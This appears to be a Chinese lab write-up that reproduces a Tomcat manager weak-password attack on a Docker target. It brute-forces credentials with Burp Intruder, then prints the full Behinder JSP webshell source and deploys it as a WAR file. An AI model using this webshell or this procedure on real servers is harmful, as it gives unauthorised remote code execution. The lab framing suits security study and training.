简介
Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf/tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。
Tomcat 支持在后台部署war包,可以直接将webshell部署到web目录下,如果tomcat后台管理用户存在弱口令,这很容易被利用上传webshell。
实验环境
靶机:使用docker搭建的 tomcat环境 (192.168.121.131)
攻击机: win10 (192.168.121.132)
开始复现
使用docker开启对应环境
cd /home/tbin/vulhub-master/tomcat/tomcat8 /进入漏洞所在的路径
docker-compose -up -d /启动docker
进入靶场:
使用burp抓取登录包:
提取参数,发现是base64加密,进行解密
发送到intruder模块进行爆破
在payloads里面选自用户自定义迭代器
第一部分上传用户名
第二部分选择上传一个“ : ”
第三部分为密码本:
在payload processing 里添加对应的base64加密
取消url自动转义
开始爆破
发现回显200则对应登录成功,对用户名和密码进行解密:
进行解密:用户名和密码都为 tomcat
登录成功
或者我们可以在docker中查看对应的文件得到用户名以及密码
docker ps /查看容器对应的进程
docker exec -it 119 /bin/bash /进入容器
cat tomcat-users.xml /查看配置文件
同样可以得到用户名和密码
后台Getshell
登录到后台后可以通过部署 war 包进行 getshell
准备一个jsp木马(这里使用冰蝎自带)
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
将准备好的木马打包为war包
jar cvf tomcat11.war shell.jsp (或者压缩为zip后修改后缀为war)
部署war包到Tomcat Web应用程序管理者
应用列表已经出现上传的war包
访问无报错,上传成功
使用冰蝎进行连接
访问查看到了所有文件,复现成功